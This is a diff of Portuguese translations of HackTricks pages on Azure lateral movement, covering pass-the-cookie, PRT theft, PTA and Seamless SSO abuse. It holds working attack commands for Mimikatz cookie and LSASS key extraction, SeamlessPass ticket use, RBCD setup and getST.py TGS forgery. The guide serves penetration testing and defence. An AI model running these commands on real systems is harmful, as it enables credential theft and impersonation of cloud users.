@@ ## Pass the Certificate (Azure) -Em máquinas unidas ao Azure, é possível autenticar de uma máquina para outra usando certificados que **devem ser emitidos pela Entra ID CA** para o usuário necessário (como o sujeito) quando ambas as máquinas suportam o mecanismo de autenticação **NegoEx**. +Em máquinas unidas ao Azure, é possível autenticar de uma máquina para outra usando certificados que **devem ser emitidos pelo Entra ID CA** para o usuário necessário (como o sujeito) quando ambas as máquinas suportam o mecanismo de autenticação **NegoEx**. Em termos super simplificados: -- A máquina (cliente) que inicia a conexão **precisa de um certificado da Entra ID para um usuário**. -- O cliente cria um cabeçalho JSON Web Token (JWT) contendo PRT e outros detalhes, assina usando a Chave Derivada (usando a chave de sessão e o contexto de segurança) e **o envia para a Entra ID**. -- A Entra ID verifica a assinatura do JWT usando a chave de sessão do cliente e o contexto de segurança, verifica a validade do PRT e **responde** com o **certificado**. +- A máquina (cliente) que inicia a conexão **precisa de um certificado do Entra ID para um usuário**. +- O cliente cria um cabeçalho de JSON Web Token (JWT) contendo PRT e outros detalhes, assina usando a Chave Derivada (usando a chave de sessão e o contexto de segurança) e **o envia para o Entra ID**. +- O Entra ID verifica a assinatura do JWT usando a chave de sessão do cliente e o contexto de segurança, verifica a validade do PRT e **responde** com o **certificado**. Neste cenário e após obter todas as informações necessárias para um ataque [**Pass the PRT**](az-primary-refresh-token-prt.md): diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md index 8d7a3c92f..2dc7107bd 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md @@ -4,9 +4,9 @@ ## Por que Cookies? -Cookies de **navegador** são um ótimo mecanismo para **contornar a autenticação e MFA**. Como o usuário já se autenticou na aplicação, o **cookie** de sessão pode ser usado para **acessar dados** como aquele usuário, sem precisar se re-autenticar. +Cookies de **navegador** são um ótimo mecanismo para **contornar autenticação e MFA**. Como o usuário já se autenticou na aplicação, o **cookie** de sessão pode ser usado para **acessar dados** como aquele usuário, sem precisar re-autenticar. -Você pode ver onde estão **localizados os cookies do navegador** em: +Você pode ver onde estão **os cookies do navegador** em: {{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.html#google-chrome @@ -24,7 +24,7 @@ Com o Mimikatz em mãos, sou capaz de **extrair os cookies de um usuário** mesm ```bash mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit ``` -Para o Azure, nos importamos com os cookies de autenticação, incluindo **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** e **`ESTSAUTHLIGHT`**. Eles estão lá porque o usuário tem estado ativo no Azure recentemente. +Para o Azure, nos preocupamos com os cookies de autenticação, incluindo **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** e **`ESTSAUTHLIGHT`**. Eles estão lá porque o usuário tem estado ativo no Azure recentemente. Basta navegar até login.microsoftonline.com e adicionar o cookie **`ESTSAUTHPERSISTENT`** (gerado pela opção “Permanecer Conectado”) ou **`ESTSAUTH`**. E você estará autenticado. diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md index 1ab35b280..d391e9c09 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -18,7 +18,7 @@ Aqui está uma explicação simplificada de como um PRT opera: - Após a autenticação bem-sucedida, o Entra ID emite um PRT vinculado especificamente ao seu dispositivo. -2. **Armazenamento de Token:** +2. **Armazenamento do Token:** - O PRT é armazenado com segurança em seu dispositivo, frequentemente protegido por recursos de hardware como o Trusted Platform Module (TPM), garantindo que seja difícil para partes não autorizadas extraí-lo ou abusá-lo. @@ -63,12 +63,12 @@ dsregcmd /status ``` ## Passar o PRT -De acordo com [este post](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) em dispositivos Windows **sem vinculação TPM**, o PRT e sua chave de sessão residem no LSASS (plug-in CloudAP). Com admin local/SYSTEM nesse dispositivo, o blob do PRT e a chave de sessão criptografada pelo DPAPI podem ser **lidos do LSASS, a chave de sessão descriptografada via DPAPI, e a chave de assinatura derivada** para criar um cookie PRT válido (`x‑ms‑RefreshTokenCredential`). Você precisa tanto do PRT quanto de sua chave de sessão—apenas a string do PRT não é suficiente. +De acordo com [este post](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) em dispositivos Windows **sem vinculação TPM**, o PRT e sua chave de sessão residem no LSASS (plug-in CloudAP). Com acesso de administrador local/SYSTEM nesse dispositivo, o blob do PRT e a chave de sessão criptografada pelo DPAPI podem ser **lidos do LSASS, a chave de sessão descriptografada via DPAPI, e a chave de assinatura derivada** para criar um cookie PRT válido (`x‑ms‑RefreshTokenCredential`). Você precisa tanto do PRT quanto de sua chave de sessão—apenas a string do PRT não é suficiente. ### Mimikatz -1. O **PRT (Primary Refresh Token) é extraído do LSASS** (Serviço de Subsistema de Autoridade de Segurança Local) e armazenado para uso subsequente. -2. A **Chave de Sessão é extraída em seguida**. Dado que essa chave é inicialmente emitida e depois recriptografada pelo dispositivo local, é necessário descriptografá-la usando uma chave mestra do DPAPI. Informações detalhadas sobre o DPAPI (Data Protection API) podem ser encontradas nesses recursos: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) e para entender sua aplicação, consulte [Pass-the-cookie attack](az-pass-the-cookie.md). +1. O **PRT (Primary Refresh Token) é extraído do LSASS** (Serviço de Subsistema de Autoridade de Segurança Local) e armazenado para uso posterior. +2. A **Chave de Sessão é extraída em seguida**. Dado que essa chave é inicialmente emitida e depois recriptografada pelo dispositivo local, é necessário descriptografá-la usando uma chave mestra DPAPI. Informações detalhadas sobre DPAPI (Data Protection API) podem ser encontradas nesses recursos: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) e para entender sua aplicação, consulte [Pass-the-cookie attack](az-pass-the-cookie.md). 3. Após a descriptografia da Chave de Sessão, a **chave derivada e o contexto para o PRT são obtidos**. Estes são cruciais para a **criação do cookie PRT**. Especificamente, a chave derivada é empregada para assinar o JWT (JSON Web Token) que constitui o cookie. Uma explicação abrangente desse processo foi fornecida por Dirk-jan, acessível [aqui](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). ```bash privilege::debug @@ -90,13 +90,13 @@ dpapi::cloudapkd /keyvalue: /unprotect # PowerShell version Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue: /unprotect"' ``` -O `token::elevate` irá se passar por SYSTEM e o comando `dpapi::cloudapkd` com `/unprotect` usará a chave mestra do DPAPI para descriptografar o blob KeyValue fornecido. Isso resulta na chave de sessão em texto claro e também na Chave Derivada e Contexto associados usados para assinatura: +O `token::elevate` irá impersonar o SYSTEM e o comando `dpapi::cloudapkd` com `/unprotect` usará a chave mestra do DPAPI para descriptografar o blob KeyValue fornecido. Isso resulta na chave de sessão em texto claro e também na Chave Derivada e Contexto associados usados para assinatura: - **Chave clara** – a chave de sessão de 32 bytes em texto simples (representada como uma string hexadecimal). - **Chave Derivada** – uma chave de 32 bytes derivada da chave de sessão e um valor de contexto (mais sobre isso abaixo). - **Contexto** – um contexto aleatório de 24 bytes que foi usado ao derivar a chave de assinatura para o cookie PRT. > [!NOTE] -> Se isso não funcionar para você se passar pelo usuário, verifique a seção a seguir usando **`AADInternals`**. +> Se isso não funcionar para você para impersonar o usuário, verifique a seção seguinte usando **`AADInternals`**. Então, você também pode usar o mimikatz para gerar um cookie PRT válido: ```bash @@ -158,15 +158,15 @@ roadrecon auth --prt-cookie --prt-context --derives-key # Connect Connect-AzureAD --AadAccessToken --AccountId ``` -### **Web Account Manager (WAM) APIs** +### **APIs do Gerenciador de Contas da Web (WAM)** Os atacantes usam bibliotecas de autenticação legítimas da Microsoft (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) de processos em nível de usuário para recuperar silenciosamente tokens aproveitando o PRT protegido por TPM. @@ -263,7 +263,7 @@ Para isso, basta imitar o processo do usuário (por exemplo, `explorer.exe`) e i ### **Interação Direta com LSASS & Broker de Token (Avançado)** -Um administrador ainda pode trabalhar com LSASS para abusar do PRT: por exemplo, um admin poderia injetar código no LSASS ou chamar funções internas do CloudAP para solicitar que o LSASS produza um token. A pesquisa de Dirk-jan observou que um admin pode “interagir com chaves PRT no LSASS usando APIs criptográficas”. Na prática, isso poderia significar usar as próprias funções do LSASS (via uma técnica como API hooking ou RPC, se disponível) para gerar um cookie PRT. Outra abordagem é explorar qualquer janela onde a chave de sessão possa aparecer na memória – por exemplo, no momento da renovação do PRT ou registro do dispositivo, quando está descriptografada para uso. Esses ataques são consideravelmente mais complexos e situacionais. Uma tática mais direta de admin é abusar de handles de token ou caches existentes: o LSASS armazena em cache tokens de atualização recentemente emitidos para aplicativos na memória (criptografados com DPAPI). Um atacante SYSTEM determinado poderia tentar extrair esses tokens protegidos por DPAPI (usando a chave mestra do usuário, que um admin pode obter) para roubar diretamente tokens de atualização para aplicativos específicos. No entanto, o método mais fácil e genérico continua sendo a imitação e o uso das interfaces de broker de token documentadas, uma vez que essas garantem que o Azure AD emitirá tokens novos (com todas as reivindicações apropriadas) em vez de tentar quebrar a criptografia. +Um administrador ainda pode trabalhar com LSASS para abusar do PRT: por exemplo, um admin poderia injetar código no LSASS ou chamar funções internas do CloudAP para solicitar que o LSASS produza um token. A pesquisa de Dirk-jan observou que um admin pode “interagir com chaves PRT no LSASS usando APIs criptográficas”. Na prática, isso poderia significar usar as próprias funções do LSASS (via uma técnica como API hooking ou RPC, se disponível) para gerar um cookie PRT. Outra abordagem é explorar qualquer janela onde a chave de sessão possa aparecer na memória – por exemplo, no momento da renovação do PRT ou registro do dispositivo, quando está descriptografado para uso. Esses ataques são consideravelmente mais complexos e situacionais. Uma tática mais direta de admin é abusar de handles ou caches de token existentes: o LSASS armazena em cache tokens de atualização recentemente emitidos para aplicativos na memória (criptografados com DPAPI). Um atacante SYSTEM determinado poderia tentar extrair esses tokens protegidos por DPAPI (usando a chave mestra do usuário, que um admin pode obter) para roubar diretamente tokens de atualização para aplicativos específicos. No entanto, o método mais fácil e genérico continua sendo a imitação e o uso das interfaces de broker de token documentadas, uma vez que essas garantem que o Azure AD emitirá tokens novos (com todas as reivindicações apropriadas) em vez de tentar quebrar a criptografia. ## Phishing de PRTs @@ -279,7 +279,7 @@ Abuse o fluxo de **Código de Dispositivo OAuth** usando o **ID do cliente do Mi - **Autenticação do usuário via Código de Dispositivo** usando o **ID do cliente do Broker** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) e **escopos/recurso do DRS** (por exemplo, **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** ou **`https://enrollment.manage.microsoft.com/`**). - **Usuário pode registrar dispositivos** no Entra ID (**padrão: permitido**, mas pode ser restrito ou limitado por cota). -- **Sem políticas CA bloqueadoras** que **desabilitem o Código de Dispositivo** ou **exijam dispositivos compatíveis/híbridos** para aplicativos-alvo (esses não impedirão a emissão de PRT, mas **irão** bloquear **o uso** para acessar aplicativos protegidos). +- **Sem políticas CA bloqueadoras** que **desativem o Código de Dispositivo** ou **exijam dispositivos compatíveis/híbridos** para aplicativos-alvo (esses não impedirão a emissão de PRT, mas **irão** bloquear **o uso** para acessar aplicativos protegidos). - **Host controlado pelo atacante** para executar o fluxo e manter os tokens/chaves do dispositivo. **Fluxo de Ataque**: diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md index d6e675d80..f45cad394 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md @@ -1,10 +1,10 @@ # Az - PTA - Pass-through Authentication -{{#include ../../../../banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} ## Informações Básicas -[Dos docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) A autenticação pass-through do Microsoft Entra permite que seus usuários **façam login em aplicativos tanto locais quanto baseados em nuvem usando as mesmas senhas**. Este recurso proporciona uma melhor experiência para seus usuários - uma senha a menos para lembrar, e reduz os custos do suporte de TI, pois seus usuários têm menos probabilidade de esquecer como fazer login. Quando os usuários fazem login usando o Microsoft Entra ID, esse recurso valida as senhas dos usuários diretamente contra seu Active Directory local. +[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) A autenticação pass-through do Microsoft Entra permite que seus usuários **façam login em aplicativos locais e baseados em nuvem usando as mesmas senhas**. Este recurso proporciona uma melhor experiência para seus usuários - uma senha a menos para lembrar, e reduz os custos do suporte de TI, pois seus usuários têm menos probabilidade de esquecer como fazer login. Quando os usuários fazem login usando o Microsoft Entra ID, esse recurso valida as senhas dos usuários diretamente contra seu Active Directory local. No PTA, **identidades** são **sincronizadas**, mas **senhas não são**, como no PHS. @@ -14,8 +14,8 @@ A autenticação é validada no AD local e a comunicação com a nuvem é feita
-1. Para **fazer login**, o usuário é redirecionado para **Azure AD**, onde ele envia o **nome de usuário** e a **senha**. -2. As **credenciais** são **criptografadas** e colocadas em uma **fila** no Azure AD. +1. Para **fazer login**, o usuário é redirecionado para **Azure AD**, onde ele envia o **nome de usuário** e a **senha** +2. As **credenciais** são **criptografadas** e colocadas em uma **fila** no Azure AD 3. O **agente de autenticação local** coleta as **credenciais** da fila e as **descriptografa**. Este agente é chamado de **"agente de autenticação pass-through"** ou **agente PTA.** 4. O **agente** **valida** as credenciais contra o **AD local** e envia a **resposta** **de volta** para o Azure AD que, se a resposta for positiva, **completa o login** do usuário. @@ -82,9 +82,9 @@ Este backdoor irá: > [!CAUTION] > Após obter **privilégios GA** na nuvem, é possível **registrar um novo agente PTA** e **repetir** os **passos anteriores** para **autenticar usando qualquer senha** e também, **obter as senhas em texto claro.** -### Seamless SSO +### SSO Sem Costura -É possível usar Seamless SSO com PTA, que é vulnerável a outros abusos. Confira em: +É possível usar SSO Sem Costura com PTA, que é vulnerável a outros abusos. Confira em: {{#ref}} seamless-sso.md @@ -95,4 +95,4 @@ seamless-sso.md - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta) - [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication) -{{#include ../../../../banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md index 865b1dfd5..36070a868 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md @@ -1,20 +1,20 @@ # Az - Seamless SSO -{{#include ../../../../banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} ## Informações Básicas -[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) O Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **loga automaticamente os usuários quando estão em seus dispositivos corporativos** conectados à sua rede corporativa. Quando ativado, **os usuários não precisam digitar suas senhas para fazer login no Azure AD**, e geralmente, nem mesmo digitar seus nomes de usuário. Este recurso oferece aos seus usuários fácil acesso às suas aplicações baseadas em nuvem sem precisar de componentes adicionais no local. +[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) O Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **loga automaticamente os usuários quando estão em seus dispositivos corporativos** conectados à sua rede corporativa. Quando ativado, **os usuários não precisam digitar suas senhas para fazer login no Azure AD**, e geralmente, nem mesmo digitar seus nomes de usuário. Este recurso oferece aos seus usuários fácil acesso às suas aplicações baseadas em nuvem sem precisar de componentes adicionais on-premises.

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

-Basicamente, o Azure AD Seamless SSO **loga os usuários** quando estão **em um PC conectado ao domínio local**. +Basicamente, o Azure AD Seamless SSO **loga os usuários** quando estão **em um PC conectado ao domínio on-prem**. -É suportado tanto por [**PHS (Sincronização de Hash de Senha)**](phs-password-hash-sync.md) quanto por [**PTA (Autenticação Pass-through)**](pta-pass-through-authentication.md). +É suportado tanto por [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) quanto por [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md). -O SSO de Desktop utiliza **Kerberos** para autenticação. Quando configurado, o Azure AD Connect cria uma **conta de computador chamada `AZUREADSSOACC$`** no AD local. A senha da conta `AZUREADSSOACC$` é **enviada em texto simples para o Entra ID** durante a configuração. +O SSO de desktop utiliza **Kerberos** para autenticação. Quando configurado, o Azure AD Connect cria uma **conta de computador chamada `AZUREADSSOACC$`** no AD on-prem. A senha da conta `AZUREADSSOACC$` é **enviada em texto claro para o Entra ID** durante a configuração. -Os **tickets Kerberos** são **criptografados** usando o **NTHash (MD4)** da senha e o Entra ID usa a senha enviada para descriptografar os tickets. +Os **tickets Kerberos** são **criptografados** usando o **NTHash (MD4)** da senha e o Entra ID utiliza a senha enviada para descriptografar os tickets. **Entra ID** expõe um **endpoint** (https://autologon.microsoftazuread-sso.com) que aceita **tickets** Kerberos. O navegador da máquina unida ao domínio encaminha os tickets para este endpoint para SSO. @@ -34,14 +34,14 @@ $searcher = New-Object System.DirectoryServices.DirectorySearcher $searcher.Filter = "(samAccountName=AZUREADSSOACC`$)" $searcher.FindOne() ``` -## Pivoting: On-prem -> cloud +## Pivotando: On-prem -> nuvem > [!WARNING] -> A principal coisa a saber sobre este ataque é que ter apenas o TGT ou um TGS específico de um usuário que está sincronizado com o Entra ID é suficiente para acessar os recursos em nuvem.\ +> A principal coisa a saber sobre este ataque é que ter apenas o TGT ou um TGS específico de um usuário que está sincronizado com o Entra ID é suficiente para acessar os recursos da nuvem.\ > Isso ocorre porque é um ticket que permite que um usuário faça login na nuvem. Para obter esse ticket TGS, o atacante precisa ter um dos seguintes: -- **Um TGS de usuário comprometido:** Se você comprometer a sessão de um usuário com o ticket para `HTTP/autologon.microsoftazuread-sso.com` na memória, você pode usá-lo para acessar os recursos em nuvem. +- **Um TGS de usuário comprometido:** Se você comprometer a sessão de um usuário com o ticket para `HTTP/autologon.microsoftazuread-sso.com` na memória, você pode usá-lo para acessar os recursos da nuvem. - **Um TGT de usuário comprometido:** Mesmo que você não tenha um, mas o usuário foi comprometido, você pode obter um usando o truque de delegação de TGT falso implementado em muitas ferramentas como [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) e [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9). - **Um hash ou senha de usuário comprometido:** SeamlessPass se comunicará com o controlador de domínio com essas informações para gerar o TGT e, em seguida, o TGS. - **Um ticket dourado:** Se você tiver a chave KRBTGT, pode criar o TGT que precisa para o usuário atacado. @@ -49,7 +49,7 @@ Para obter esse ticket TGS, o atacante precisa ter um dos seguintes: ### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) -Como [explicado neste post do blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), ter qualquer um dos requisitos anteriores torna muito fácil usar a ferramenta **SeamlessPass** para acessar os recursos em nuvem como o usuário comprometido, ou como qualquer usuário se você tiver o hash ou senha da conta **`AZUREADSSOACC$`**. +Como [explicado neste post do blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), ter qualquer um dos requisitos anteriores torna muito fácil usar a ferramenta **SeamlessPass** para acessar os recursos da nuvem como o usuário comprometido, ou como qualquer usuário se você tiver o hash ou senha da conta **`AZUREADSSOACC$`**. Finalmente, com o TGT é possível usar a ferramenta [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) com: ```bash @@ -65,7 +65,7 @@ seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -u seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234 wmic useraccount get name,sid # Get the user SIDs ``` -Mais informações para configurar o Firefox para funcionar com SSO sem costura podem ser [**encontradas neste post do blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). +Mais informações para configurar o Firefox para funcionar com SSO contínuo podem ser [**encontradas neste post do blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). ### Obtendo hashes da conta AZUREADSSOACC$ @@ -125,7 +125,7 @@ Para utilizar o ticket silver, os seguintes passos devem ser executados: - Para prosseguir, pressione TAB ou ENTER. > [!WARNING] -> Isso **não contorna o MFA se habilitado** para o usuário. +> Isso **não contorna o MFA se ativado** para o usuário. ### On-prem -> Cloud via Resource Based Constrained Delegation @@ -153,7 +153,7 @@ $SID = (Get-ADComputer ATTACKBOX$).SID Set-ADComputer AZUREADSSOACC$ ` -PrincipalsAllowedToDelegateToAccount $SID ``` -3. Etapa 3 – Forjar um TGS para qualquer usuário (por exemplo, alice) +3. Passo 3 – Forjar um TGS para qualquer usuário (por exemplo, alice) ```bash # Using your machine's password or NTLM hash python3 getST.py -dc-ip 192.168.1.10 \ @@ -173,7 +173,7 @@ Você agora pode usar o **TGS para acessar recursos do Azure como o usuário imp ### ~~Criando tickets Kerberos para usuários apenas na nuvem~~ -Se os administradores do Active Directory tiverem acesso ao Azure AD Connect, eles podem **definir SID para qualquer usuário da nuvem**. Dessa forma, os **tickets** Kerberos podem ser **criados também para usuários apenas na nuvem**. O único requisito é que o SID seja um [SID](). +Se os administradores do Active Directory tiverem acesso ao Azure AD Connect, eles podem **definir SID para qualquer usuário na nuvem**. Dessa forma, **tickets** Kerberos podem ser **criados também para usuários apenas na nuvem**. O único requisito é que o SID seja um [SID](). > [!CAUTION] > Alterar o SID de usuários administradores apenas na nuvem agora está **bloqueado pela Microsoft**.\ @@ -188,4 +188,4 @@ Se os administradores do Active Directory tiverem acesso ao Azure AD Connect, el - [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) - [TR19: Estou na sua nuvem, lendo os e-mails de todos - hackeando o Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg) -{{#include ../../../../banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}}